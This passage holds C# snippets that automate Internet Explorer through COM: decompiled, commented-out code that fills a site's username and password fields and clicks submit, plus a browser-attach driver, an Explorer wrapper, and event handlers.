ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site18; // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site19 == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site19 = CallSite<Func<CallSite, object, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.NotEqual, typeof(ViewEmailAlertPopup), new CSharpArgumentInfo[] // { // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null), // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.Constant, null) // })); // } // if (arg_126_0(arg_126_1, ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site19.Target(ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site19, item.getAttribute("name", 0), null))) // { // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1a == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1a = CallSite<Func<CallSite, object, string>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.Convert(CSharpBinderFlags.None, typeof(string), typeof(ViewEmailAlertPopup))); // } // string str = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1a.Target(ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1a, item.getAttribute("name", 0)); // if (str == "usernameshow") // { // item.setAttribute("value", this.eMailModal.MailID, 1); // break; // } // } //} //foreach (IHTMLElement item in iHTMLCol) //{ // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1b == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1b = CallSite<Func<CallSite, object, bool>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(ViewEmailAlertPopup), new CSharpArgumentInfo[] // { // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) // })); // } // Func<CallSite, object, bool> arg_2AF_0 = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1b.Target; // CallSite arg_2AF_1 = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1b; // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1c == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1c = CallSite<Func<CallSite, object, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.NotEqual, typeof(ViewEmailAlertPopup), new CSharpArgumentInfo[] // { // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null), // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.Constant, null) // })); // } // if (arg_2AF_0(arg_2AF_1, ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1c.Target(ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1c, item.getAttribute("name", 0), null))) // { // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1d == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1d = CallSite<Func<CallSite, object, string>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.Convert(CSharpBinderFlags.None, typeof(string), typeof(ViewEmailAlertPopup))); // } // string str = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1d.Target(ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1d, item.getAttribute("name", 0)); // if (str == "pwshow") // { // item.setAttribute("value", this.eMailModal.PWD, 1); // break; // } // } //} //foreach (IHTMLElement item in iHTMLCol) //{ // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1e == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1e = CallSite<Func<CallSite, object, bool>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(ViewEmailAlertPopup), new CSharpArgumentInfo[] // { // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) // })); // } // Func<CallSite, object, bool> arg_438_0 = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1e.Target; // CallSite arg_438_1 = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1e; // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1f == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1f = CallSite<Func<CallSite, object, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.NotEqual, typeof(ViewEmailAlertPopup), new CSharpArgumentInfo[] // { // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null), // CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.Constant, null) // })); // } // if (arg_438_0(arg_438_1, ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1f.Target(ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site1f, item.getAttribute("type", 0), null))) // { // if (ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site20 == null) // { // ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site20 = CallSite<Func<CallSite, object, string>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.Convert(CSharpBinderFlags.None, typeof(string), typeof(ViewEmailAlertPopup))); // } // string str = ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site20.Target(ViewEmailAlertPopup.<LoginToSite>o__SiteContainer16.<>p__Site20, item.getAttribute("type", 0)); // if (str == "submit") // { // item.click(); // break; // } // } //} }
/// <summary> /// Constructor to attach automation object /// </summary> /// <param name="attachToExisting"></param> /// <param name="pageName"></param> /// <param name="pageTitle"></param> /// <param name="TextBox1"></param> public IEDriver(bool attachToExisting, string pageName, string pageTitle, RichTextBox TextBox1) { // Setup some local variables textBox1 = TextBox1; int hwnd = -1; ShellWindows m_IEFoundBrowsers = new ShellWindowsClass(); _IE = null; // Start a stopwatch for timeout issues Stopwatch stopWatch = new Stopwatch(); stopWatch.Start(); while (_IE == null & stopWatch.Elapsed.TotalSeconds < 60) { // Determine how to attach -- Existing or new // When starting a new test, best not to attach if (!attachToExisting) { if (m_IEFoundBrowsers.Count <= 1) { _Proc = Process.Start("IExplore.exe"); Thread.Sleep(1000); hwnd = (int)_Proc.MainWindowHandle; } foreach (InternetExplorer Browser in m_IEFoundBrowsers) { if (_Proc != null) { if (Browser.HWND == hwnd) { _IE = Browser; break; } } else { //Try to attach to an existing browser window HTMLDocument doc = Browser.Document as HTMLDocument; if (doc != null) { _IE = Browser; break; } } } } else { foreach (InternetExplorer Browser in m_IEFoundBrowsers) { if (_Proc != null) { if (Browser.HWND == hwnd) { _IE = Browser; break; } } else { //Try to attach to an existing browser window HTMLDocument doc = Browser.Document as HTMLDocument; if (doc != null) { string url = doc.URLUnencoded; url = url.Substring(url.LastIndexOf("/") + 1); if (url.IndexOf("?") >= 0) url = url.Substring(0, url.IndexOf("?")); if (doc.title.Equals(pageTitle ?? "", StringComparison.InvariantCultureIgnoreCase)) { printTestResult(textBox1, "Attaching to", String.Format("{0} {1}{2}", Environment.NewLine, pageTitle, Environment.NewLine)); _IE = Browser; break; } if (url.Equals(pageName ?? "", StringComparison.InvariantCultureIgnoreCase)) { printTestResult(textBox1, "Attaching to", String.Format("{0} {1}{2}", Environment.NewLine, pageName, Environment.NewLine)); _IE = Browser; break; } } } } } } if (_IE == null & stopWatch.Elapsed.TotalSeconds > 60) throw new Exception("IE did not load within 60 seconds."); if (_IE == null) throw new Exception("IE did not load."); IE.Visible = true; IE.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(IE_DocumentComplete); }
public WindowsExplorer(InternetExplorer windowsExplorer) { _windowsExplorer = windowsExplorer; }
private void pictureBox2_Click(object sender, EventArgs e) { object x = null; InternetExplorer explorer = new InternetExplorer(); if (explorer != null) { explorer.Visible = true; explorer.Navigate(@"k:\",ref x,ref x,ref x,ref x); } }
void SetHandler(InternetExplorer explorer) { try { HTMLDocumentEventHelper helper = new HTMLDocumentEventHelper(explorer.Document as HTMLDocument); helper.oncontextmenu += new HtmlEvent(oncontextmenuHandler); } catch (Exception) { throw; } }